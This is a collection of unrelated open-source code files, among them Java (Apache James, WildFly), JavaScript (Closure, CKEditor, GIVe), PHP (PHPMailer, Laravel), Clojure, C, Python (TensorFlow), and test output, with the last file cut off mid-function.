PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS foo({f:5}, 42.5) is 52.5
PASS successfullyParsed is true
TEST COMPLETE
| {
"pile_set_name": "Github"
} |
/****************************************************************
* Licensed to the Apache Software Foundation (ASF) under one *
* or more contributor license agreements. See the NOTICE file *
* distributed with this work for additional information *
* regarding copyright ownership. The ASF licenses this file *
* to you under the Apache License, Version 2.0 (the *
* "License"); you may not use this file except in compliance *
* with the License. You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, *
* software distributed under the License is distributed on an *
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY *
* KIND, either express or implied. See the License for the *
* specific language governing permissions and limitations *
* under the License. *
****************************************************************/
package org.apache.james.jmap.draft.methods.integration;
import java.util.Optional;
import javax.inject.Singleton;
import org.apache.commons.configuration2.BaseConfiguration;
import org.apache.james.mailbox.spamassassin.SpamAssassinConfiguration;
import org.apache.james.mailbox.spamassassin.SpamAssassinListener;
import org.apache.james.mailetcontainer.impl.MailetConfigImpl;
import org.apache.james.modules.mailbox.ListenerConfiguration;
import org.apache.james.modules.mailbox.ListenersConfiguration;
import org.apache.james.spamassassin.SpamAssassinExtension;
import org.apache.james.util.Host;
import org.apache.james.utils.MailetConfigurationOverride;
import com.google.inject.AbstractModule;
import com.google.inject.Provides;
import com.google.inject.multibindings.Multibinder;
public class SpamAssassinModule extends AbstractModule {
private final SpamAssassinExtension spamAssassinExtension;
public SpamAssassinModule(SpamAssassinExtension spamAssassinExtension) {
this.spamAssassinExtension = spamAssassinExtension;
}
@Override
protected void configure() {
Multibinder.newSetBinder(binder(), MailetConfigurationOverride.class)
.addBinding()
.toInstance(
new MailetConfigurationOverride(
org.apache.james.transport.mailets.SpamAssassin.class,
spamAssassinMailetConfig()));
bind(ListenersConfiguration.class)
.toInstance(ListenersConfiguration.of(
ListenerConfiguration.forClass(SpamAssassinListener.class.getCanonicalName())));
}
@Provides
@Singleton
private SpamAssassinConfiguration getSpamAssassinConfiguration() {
SpamAssassinExtension.SpamAssassin spamAssassin = spamAssassinExtension.getSpamAssassin();
return new SpamAssassinConfiguration(Optional.of(Host.from(spamAssassin.getIp(), spamAssassin.getBindingPort())));
}
private MailetConfigImpl spamAssassinMailetConfig() {
BaseConfiguration baseConfiguration = new BaseConfiguration();
Host host = Host.from(spamAssassinExtension.getSpamAssassin().getIp(), spamAssassinExtension.getSpamAssassin().getBindingPort());
baseConfiguration.addProperty(org.apache.james.transport.mailets.SpamAssassin.SPAMD_HOST, host.getHostName());
baseConfiguration.addProperty(org.apache.james.transport.mailets.SpamAssassin.SPAMD_PORT, host.getPort());
MailetConfigImpl mailetConfig = new MailetConfigImpl();
mailetConfig.setConfiguration(baseConfiguration);
return mailetConfig;
}
}
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"idiom" : "universal",
"filename" : "[email protected]",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
// Copyright 2008 The Closure Library Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
* @fileoverview Iframe shims, to protect controls on the underlying page
* from bleeding through popups.
*
* @author [email protected] (Garrett Boyer)
* @author [email protected] (Nick Santos) (Ported to Closure)
*/
goog.provide('goog.ui.IframeMask');
goog.require('goog.Disposable');
goog.require('goog.Timer');
goog.require('goog.dom');
goog.require('goog.dom.DomHelper');
goog.require('goog.dom.iframe');
goog.require('goog.events.EventHandler');
goog.require('goog.events.EventTarget');
goog.require('goog.style');
/**
* Controller for an iframe mask. The mask is only valid in the current
* document, or else the document of the given DOM helper.
*
* @param {goog.dom.DomHelper=} opt_domHelper The DOM helper for the relevant
* document.
* @param {goog.structs.Pool=} opt_iframePool An optional source of iframes.
* Iframes will be grabbed from the pool when they're needed and returned
* to the pool (but still attached to the DOM) when they're done.
* @constructor
* @extends {goog.Disposable}
*/
goog.ui.IframeMask = function(opt_domHelper, opt_iframePool) {
goog.Disposable.call(this);
/**
* The DOM helper for this document.
* @type {goog.dom.DomHelper}
* @private
*/
this.dom_ = opt_domHelper || goog.dom.getDomHelper();
/**
* An Element to snap the mask to. If none is given, defaults to
* a full-screen iframe mask.
* @type {Element}
* @private
*/
this.snapElement_ = this.dom_.getDocument().documentElement;
/**
* An event handler for listening to popups and the like.
* @type {goog.events.EventHandler|undefined}
* @private
*/
this.handler_ = new goog.events.EventHandler(this);
/**
* An iframe pool.
* @type {goog.structs.Pool|undefined}
* @private
*/
this.iframePool_ = opt_iframePool;
};
goog.inherits(goog.ui.IframeMask, goog.Disposable);
/**
* An iframe.
* @type {HTMLIFrameElement}
* @private
*/
goog.ui.IframeMask.prototype.iframe_;
/**
* The z-index of the iframe mask.
* @type {number}
* @private
*/
goog.ui.IframeMask.prototype.zIndex_ = 1;
/**
* The opacity of the iframe mask, expressed as a value between 0 and 1, with
* 1 being totally opaque.
* @type {number}
* @private
*/
goog.ui.IframeMask.prototype.opacity_ = 0;
/**
* Removes the iframe from the DOM.
* @override
* @protected
*/
goog.ui.IframeMask.prototype.disposeInternal = function() {
if (this.iframePool_) {
this.iframePool_.releaseObject(
/** @type {HTMLIFrameElement} */ (this.iframe_));
} else {
goog.dom.removeNode(this.iframe_);
}
this.iframe_ = null;
this.handler_.dispose();
this.handler_ = null;
goog.ui.IframeMask.superClass_.disposeInternal.call(this);
};
/**
* CSS for a hidden iframe.
* @type {string}
* @private
*/
goog.ui.IframeMask.HIDDEN_CSS_TEXT_ =
'position:absolute;display:none;z-index:1';
/**
* Removes the mask from the screen.
*/
goog.ui.IframeMask.prototype.hideMask = function() {
if (this.iframe_) {
this.iframe_.style.cssText = goog.ui.IframeMask.HIDDEN_CSS_TEXT_;
if (this.iframePool_) {
this.iframePool_.releaseObject(this.iframe_);
this.iframe_ = null;
}
}
};
/**
* Gets the iframe to use as a mask. Creates a new one if one has not been
* created yet.
* @return {HTMLIFrameElement} The iframe.
* @private
*/
goog.ui.IframeMask.prototype.getIframe_ = function() {
if (!this.iframe_) {
this.iframe_ = this.iframePool_ ?
/** @type {HTMLIFrameElement} */ (this.iframePool_.getObject()) :
goog.dom.iframe.createBlank(this.dom_);
this.iframe_.style.cssText = goog.ui.IframeMask.HIDDEN_CSS_TEXT_;
this.dom_.getDocument().body.appendChild(this.iframe_);
}
return this.iframe_;
};
/**
* Applies the iframe mask to the screen.
*/
goog.ui.IframeMask.prototype.applyMask = function() {
var iframe = this.getIframe_();
var bounds = goog.style.getBounds(this.snapElement_);
iframe.style.cssText =
'position:absolute;' +
'left:' + bounds.left + 'px;' +
'top:' + bounds.top + 'px;' +
'width:' + bounds.width + 'px;' +
'height:' + bounds.height + 'px;' +
'z-index:' + this.zIndex_;
goog.style.setOpacity(iframe, this.opacity_);
iframe.style.display = 'block';
};
/**
* Sets the opacity of the mask. Will take effect the next time the mask
* is applied.
* @param {number} opacity A value between 0 and 1, with 1 being
* totally opaque.
*/
goog.ui.IframeMask.prototype.setOpacity = function(opacity) {
this.opacity_ = opacity;
};
/**
* Sets the z-index of the mask. Will take effect the next time the mask
* is applied.
* @param {number} zIndex A z-index value.
*/
goog.ui.IframeMask.prototype.setZIndex = function(zIndex) {
this.zIndex_ = zIndex;
};
/**
* Sets the element to use as the bounds of the mask. Takes effect immediately.
* @param {Element} snapElement The snap element, which the iframe will be
* "snapped" around.
*/
goog.ui.IframeMask.prototype.setSnapElement = function(snapElement) {
this.snapElement_ = snapElement;
if (this.iframe_ && goog.style.isElementShown(this.iframe_)) {
this.applyMask();
}
};
/**
* Listens on the specified target, hiding and showing the iframe mask
* when the given event types are dispatched.
* @param {goog.events.EventTarget} target The event target to listen on.
* @param {string} showEvent When this event fires, the mask will be applied.
* @param {string} hideEvent When this event fires, the mask will be hidden.
* @param {Element=} opt_snapElement When the mask is applied, it will
* automatically snap to this element. If no element is specified, it will
* use the default snap element.
*/
goog.ui.IframeMask.prototype.listenOnTarget = function(target, showEvent,
hideEvent, opt_snapElement) {
var timerKey;
this.handler_.listen(target, showEvent, function() {
if (opt_snapElement) {
this.setSnapElement(opt_snapElement);
}
// Check out the iframe asynchronously, so we don't block the SHOW
// event and cause a bounce.
timerKey = goog.Timer.callOnce(this.applyMask, 0, this);
});
this.handler_.listen(target, hideEvent, function() {
if (timerKey) {
goog.Timer.clear(timerKey);
timerKey = null;
}
this.hideMask();
});
};
/**
* Removes all handlers attached by listenOnTarget.
*/
goog.ui.IframeMask.prototype.removeHandlers = function() {
this.handler_.removeAll();
};
| {
"pile_set_name": "Github"
} |
// RUN: llvm-mc -triple i386-unknown-unknown %s | FileCheck %s
.text
bar:
.data
.globl foo
.set foo, bar
.globl foo
.set foo, bar
// CHECK-NOT: invalid reassignment of non-absolute variable
| {
"pile_set_name": "Github"
} |
/*
* This file is part of libFirm.
* Copyright (C) 2012 University of Karlsruhe.
*/
/**
* @file
* @brief Option handling for spiller.
* @author Matthias Braun
* @date 12.10.2006
*/
#ifndef FIRM_BE_BESPILL_H
#define FIRM_BE_BESPILL_H
#include "bera.h"
#include <stdbool.h>
extern bool be_coalesce_spill_slots;
extern bool be_do_remats;
typedef void (*be_spill_func)(ir_graph *irg, const arch_register_class_t *cls,
const regalloc_if_t *regif);
/**
* Register a new spill algorithm.
*
* @param name the name of the spill algorithm,
* used to select it
* @param spiller a spill entry
*/
void be_register_spiller(const char *name, be_spill_func spiller);
/**
* Execute the selected spill algorithm
*
* @param irg the graph to spill on
* @param cls the register class to spill
*/
void be_do_spill(ir_graph *irg, const arch_register_class_t *cls,
const regalloc_if_t *regif);
#endif
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2003-2018, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.plugins.setLang( 'contextmenu', 'fa', {
options: 'گزینههای منوی زمینه'
} );
| {
"pile_set_name": "Github"
} |
<?php
/**
* Finnish PHPMailer language file: refer to English translation for definitive list
* @package PHPMailer
* @author Jyry Kuukanen
*/
$PHPMAILER_LANG['authenticate'] = 'SMTP-virhe: käyttäjätunnistus epäonnistui.';
$PHPMAILER_LANG['connect_host'] = 'SMTP-virhe: yhteys palvelimeen ei onnistu.';
$PHPMAILER_LANG['data_not_accepted'] = 'SMTP-virhe: data on virheellinen.';
//$PHPMAILER_LANG['empty_message'] = 'Message body empty';
$PHPMAILER_LANG['encoding'] = 'Tuntematon koodaustyyppi: ';
$PHPMAILER_LANG['execute'] = 'Suoritus epäonnistui: ';
$PHPMAILER_LANG['file_access'] = 'Seuraavaan tiedostoon ei ole oikeuksia: ';
$PHPMAILER_LANG['file_open'] = 'Tiedostovirhe: Ei voida avata tiedostoa: ';
$PHPMAILER_LANG['from_failed'] = 'Seuraava lähettäjän osoite on virheellinen: ';
$PHPMAILER_LANG['instantiate'] = 'mail-funktion luonti epäonnistui.';
//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: ';
$PHPMAILER_LANG['mailer_not_supported'] = 'postivälitintyyppiä ei tueta.';
$PHPMAILER_LANG['provide_address'] = 'Aseta vähintään yksi vastaanottajan sähköpostiosoite.';
$PHPMAILER_LANG['recipients_failed'] = 'SMTP-virhe: seuraava vastaanottaja osoite on virheellinen.';
$PHPMAILER_LANG['encoding'] = 'Tuntematon koodaustyyppi: ';
//$PHPMAILER_LANG['signing'] = 'Signing Error: ';
//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.';
//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: ';
//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: ';
//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: ';
| {
"pile_set_name": "Github"
} |
(ns avi.editor
"Functions (including basse responders, middleware, and utilties) for
manipulating the editor map."
(:import (java.io FileNotFoundException))
(:require [clojure.set :as set]
[clojure.spec :as s]
[clojure.string :as string]
[packthread.core :refer :all]
[packthread.lenses :as l]
[avi.pervasive :refer :all]
[avi.beep :as beep]
[avi.documents]
[avi.edit-context :as ec]
[avi.edit-context
[lines :as lines]]
[avi.layout :as layout]
[avi.layout.panes :as p]
[avi.lenses]
[avi.world :as w]))
(s/def ::mode keyword?)
(s/def ::beep? boolean?)
(s/def ::editor
(s/merge
(s/keys :req [::mode]
:opt [::beep?])
:avi.documents/editor
:avi.lenses/editor
::p/editor))
;; -- Initial state ----------------------------------------------------------
(defn initial-editor
[[lines columns] [filename]]
{::mode :normal
:avi.documents/documents {0 (avi.documents/load filename)}
:avi.lenses/lenses {0 #:avi.lenses{:document 0
:viewport-top 0
:point [0 0]
:last-explicit-j 0}}
::p/tree {:avi.layout.panes/lens 0}
::p/path []
::layout/shape [[0 0] [lines columns]]
::beep? false})
;; -- Building middlewares ---------------------------------------------------
(defn keystroke-middleware
[keystroke a-fn]
(fn [handler]
(fn [editor event]
(if (= event [:keystroke keystroke])
(a-fn editor)
(handler editor event)))))
;; -- Tracking the current lens & document -----------------------------------
(defn current-lens-path
[editor]
[:avi.lenses/lenses (::p/lens (p/current-pane editor))])
(defn current-lens
[editor]
(get-in editor (current-lens-path editor)))
(defn current-document-path
[editor]
[:avi.documents/documents (:avi.lenses/document (current-lens editor))])
(defn current-document
[editor]
(get-in editor (current-document-path editor)))
(s/fdef edit-context
:args (s/cat :editor ::editor
:new-context (s/? any?))
:ret ::editor)
(let [document-keys #{:avi.documents/text
:avi.documents/undo-log
:avi.documents/redo-log
:avi.documents/in-transaction?}
lens-keys #{:avi.lenses/viewport-top :avi.lenses/point :avi.lenses/last-explicit-j}]
(def edit-context
"Perform some action in an \"edit context\".
An \"edit context\" is the minimal information from a document and a lens,
combined in such a way that a function can make edits to the file and move
the cursor and viewport.
This is intended to be used with packthread's \"in\" macro, like so:
(+> editor
(in e/edit-context
(assoc :foo :bar)))"
(beep/add-beep-to-focus
(fn edit-context*
([editor]
(let [document (get-in editor (current-document-path editor))
{:keys [:avi.documents/text]} document
[_ [height _]] (::layout/shape (p/current-pane editor))]
(merge
(select-keys document document-keys)
(select-keys (current-lens editor) lens-keys)
{:avi.documents/lines (lines/content text)
:viewport-height (dec height)})))
([editor new-context]
(let [text {:avi.documents/text (str (string/join "\n" (:avi.documents/lines new-context))
"\n")}]
(-> editor
(update-in (current-document-path editor) merge (select-keys new-context document-keys) text)
(update-in (current-lens-path editor) merge (select-keys new-context lens-keys)))))))))
;; -- Modes ------------------------------------------------------------------
(defn enter-normal-mode
[editor]
(assoc editor :avi.editor/mode :normal :message nil))
(defn mode-middleware
[mode mode-responder]
(fn [responder]
(fn [editor event]
(if (= mode (:avi.editor/mode editor))
(mode-responder editor event)
(responder editor event)))))
;; -- Terminal resizing ------------------------------------------------------
(defn wrap-handle-resize
[responder]
(fn [editor [event-type size :as event]]
(if (= event-type :resize)
(+> editor
(assoc-in [::layout/shape 1] size)
(in edit-context
ec/adjust-viewport-to-contain-point))
(responder editor event))))
;; -- Exceptions and failures ------------------------------------------------
(defn wrap-handle-exceptions
[responder]
(fn [editor event]
(try
(responder editor event)
(catch Throwable e
(merge editor (ex-data e))))))
;; ---------------------------------------------------------------------------
| {
"pile_set_name": "Github"
} |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
class AddForeignKeysToDojoPassesTable extends Migration {
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::table('dojo_passes', function(Blueprint $table)
{
$table->foreign('dojo_id', 'dojo_passes_dojo_id')->references('id')->on('dojos')->onUpdate('CASCADE')->onDelete('CASCADE');
$table->foreign('user_id', 'dojo_passes_user_id')->references('id')->on('users')->onUpdate('CASCADE')->onDelete('CASCADE');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::table('dojo_passes', function(Blueprint $table)
{
$table->dropForeign('dojo_passes_dojo_id');
$table->dropForeign('dojo_passes_user_id');
});
}
}
| {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source.
* Copyright 2013, Red Hat, Inc., and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation; either version 2.1 of
* the License, or (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this software; if not, write to the Free
* Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA, or see the FSF site: http://www.fsf.org.
*/
package org.wildfly.clustering.web.hotrod.session;
import java.time.Duration;
import org.infinispan.client.hotrod.RemoteCache;
import org.wildfly.clustering.Registrar;
import org.wildfly.clustering.ee.Batcher;
import org.wildfly.clustering.ee.Scheduler;
import org.wildfly.clustering.ee.cache.tx.TransactionBatch;
import org.wildfly.clustering.ee.hotrod.tx.HotRodBatcher;
import org.wildfly.clustering.marshalling.spi.MarshalledValue;
import org.wildfly.clustering.web.IdentifierFactory;
import org.wildfly.clustering.web.cache.session.CompositeSessionFactory;
import org.wildfly.clustering.web.cache.session.CompositeSessionMetaDataEntry;
import org.wildfly.clustering.web.cache.session.MarshalledValueSessionAttributesFactoryConfiguration;
import org.wildfly.clustering.web.cache.session.SessionAttributesFactory;
import org.wildfly.clustering.web.cache.session.SessionFactory;
import org.wildfly.clustering.web.cache.session.SessionMetaDataFactory;
import org.wildfly.clustering.web.hotrod.session.coarse.CoarseSessionAttributesFactory;
import org.wildfly.clustering.web.hotrod.session.fine.FineSessionAttributesFactory;
import org.wildfly.clustering.web.session.ImmutableSessionMetaData;
import org.wildfly.clustering.web.session.SessionExpirationListener;
import org.wildfly.clustering.web.session.SessionManager;
import org.wildfly.clustering.web.session.SessionManagerConfiguration;
import org.wildfly.clustering.web.session.SessionManagerFactory;
/**
* Factory for creating session managers.
* @param <S> the HttpSession specification type
* @param <SC> the ServletContext specification type
* @param <AL> the HttpSessionAttributeListener specification type
* @param <LC> the local context type
* @param <MC> the marshalling context type
* @author Paul Ferraro
*/
public class HotRodSessionManagerFactory<S, SC, AL, MC, LC> implements SessionManagerFactory<SC, LC, TransactionBatch> {
final Registrar<SessionExpirationListener> expirationRegistrar;
final Scheduler<String, ImmutableSessionMetaData> expirationScheduler;
final Batcher<TransactionBatch> batcher;
final Duration transactionTimeout;
private final SessionFactory<SC, CompositeSessionMetaDataEntry<LC>, ?, LC> sessionFactory;
public HotRodSessionManagerFactory(HotRodSessionManagerFactoryConfiguration<S, SC, AL, MC, LC> config) {
SessionMetaDataFactory<CompositeSessionMetaDataEntry<LC>> metaDataFactory = new HotRodSessionMetaDataFactory<>(config);
this.sessionFactory = new CompositeSessionFactory<>(metaDataFactory, this.createSessionAttributesFactory(config), config.getLocalContextFactory());
ExpiredSessionRemover<SC, CompositeSessionMetaDataEntry<LC>, ?, LC> remover = new ExpiredSessionRemover<>(this.sessionFactory);
this.expirationRegistrar = remover;
this.batcher = new HotRodBatcher(config.getCache());
this.expirationScheduler = new SessionExpirationScheduler(this.batcher, remover, Duration.ofMillis(config.getCache().getRemoteCacheManager().getConfiguration().transaction().timeout()));
this.transactionTimeout = Duration.ofMillis(config.getCache().getRemoteCacheManager().getConfiguration().transaction().timeout());
}
@Override
public SessionManager<LC, TransactionBatch> createSessionManager(SessionManagerConfiguration<SC> configuration) {
HotRodSessionManagerConfiguration<SC> config = new HotRodSessionManagerConfiguration<SC>() {
@Override
public SessionExpirationListener getExpirationListener() {
return configuration.getExpirationListener();
}
@Override
public Registrar<SessionExpirationListener> getExpirationRegistrar() {
return HotRodSessionManagerFactory.this.expirationRegistrar;
}
@Override
public Scheduler<String, ImmutableSessionMetaData> getExpirationScheduler() {
return HotRodSessionManagerFactory.this.expirationScheduler;
}
@Override
public IdentifierFactory<String> getIdentifierFactory() {
return configuration.getIdentifierFactory();
}
@Override
public SC getServletContext() {
return configuration.getServletContext();
}
@Override
public Batcher<TransactionBatch> getBatcher() {
return HotRodSessionManagerFactory.this.batcher;
}
@Override
public Duration getStopTimeout() {
return HotRodSessionManagerFactory.this.transactionTimeout;
}
};
return new HotRodSessionManager<>(this.sessionFactory, config);
}
@Override
public void close() {
this.expirationScheduler.close();
}
private SessionAttributesFactory<SC, ?> createSessionAttributesFactory(HotRodSessionManagerFactoryConfiguration<S, SC, AL, MC, LC> configuration) {
switch (configuration.getAttributePersistenceStrategy()) {
case FINE: {
return new FineSessionAttributesFactory<>(new HotRodMarshalledValueSessionAttributesFactoryConfiguration<>(configuration));
}
case COARSE: {
return new CoarseSessionAttributesFactory<>(new HotRodMarshalledValueSessionAttributesFactoryConfiguration<>(configuration));
}
default: {
// Impossible
throw new IllegalStateException();
}
}
}
private static class HotRodMarshalledValueSessionAttributesFactoryConfiguration<S, SC, AL, V, MC, LC> extends MarshalledValueSessionAttributesFactoryConfiguration<S, SC, AL, V, MC, LC> implements HotRodSessionAttributesFactoryConfiguration<S, SC, AL, V, MarshalledValue<V, MC>> {
private final HotRodSessionManagerFactoryConfiguration<S, SC, AL, MC, LC> configuration;
HotRodMarshalledValueSessionAttributesFactoryConfiguration(HotRodSessionManagerFactoryConfiguration<S, SC, AL, MC, LC> configuration) {
super(configuration);
this.configuration = configuration;
}
@Override
public <CK, CV> RemoteCache<CK, CV> getCache() {
return this.configuration.getCache();
}
}
}
| {
"pile_set_name": "Github"
} |
from model import MobileNetV2
from PIL import Image
import numpy as np
import json
import matplotlib.pyplot as plt
import tensorflow as tf
im_height = 224
im_width = 224
# load image
img = Image.open("../tulip.jpg")
# resize image to 224x224
img = img.resize((im_width, im_height))
plt.imshow(img)
# scaling pixel value to (-1,1)
img = np.array(img).astype(np.float32)
img = ((img / 255.) - 0.5) * 2.0
# Add the image to a batch where it's the only member.
img = (np.expand_dims(img, 0))
# read class_indict
try:
json_file = open('./class_indices.json', 'r')
class_indict = json.load(json_file)
except Exception as e:
print(e)
exit(-1)
model = MobileNetV2(num_classes=5)
# model.build((None, 224, 224, 3)) # when using subclass model
model.load_weights('./save_weights/resMobileNetV2.ckpt')
result = np.squeeze(model.predict(img))
prediction = tf.keras.layers.Softmax()(result).numpy()
predict_class = np.argmax(result)
print(class_indict[str(predict_class)], prediction[predict_class])
plt.show()
| {
"pile_set_name": "Github"
} |
// JavaScript Document
var GIVe = (function (give) {
'use strict'
give.MetaDataEntries = function (url) {
this.url = url || give.MetaDataEntries.defaultUrl
this.entries = {}
this.DataPromise = give.postAjax(this.url, null, 'text', 'GET')
.then(res => this._responseHandler(res))
.catch(e => { throw e })
}
var _strArrayToMetaEntry = function (strArray) {
var isReady = false
var result = {} // all meta properties
while (strArray.length > 0) {
var line = strArray.shift().trim()
if (line && !line.startsWith('#')) {
// not empty line or comment
var tokens = line.split(/\s+/)
var key = tokens.shift().toLowerCase()
var value = tokens.join(' ')
result[key] = value
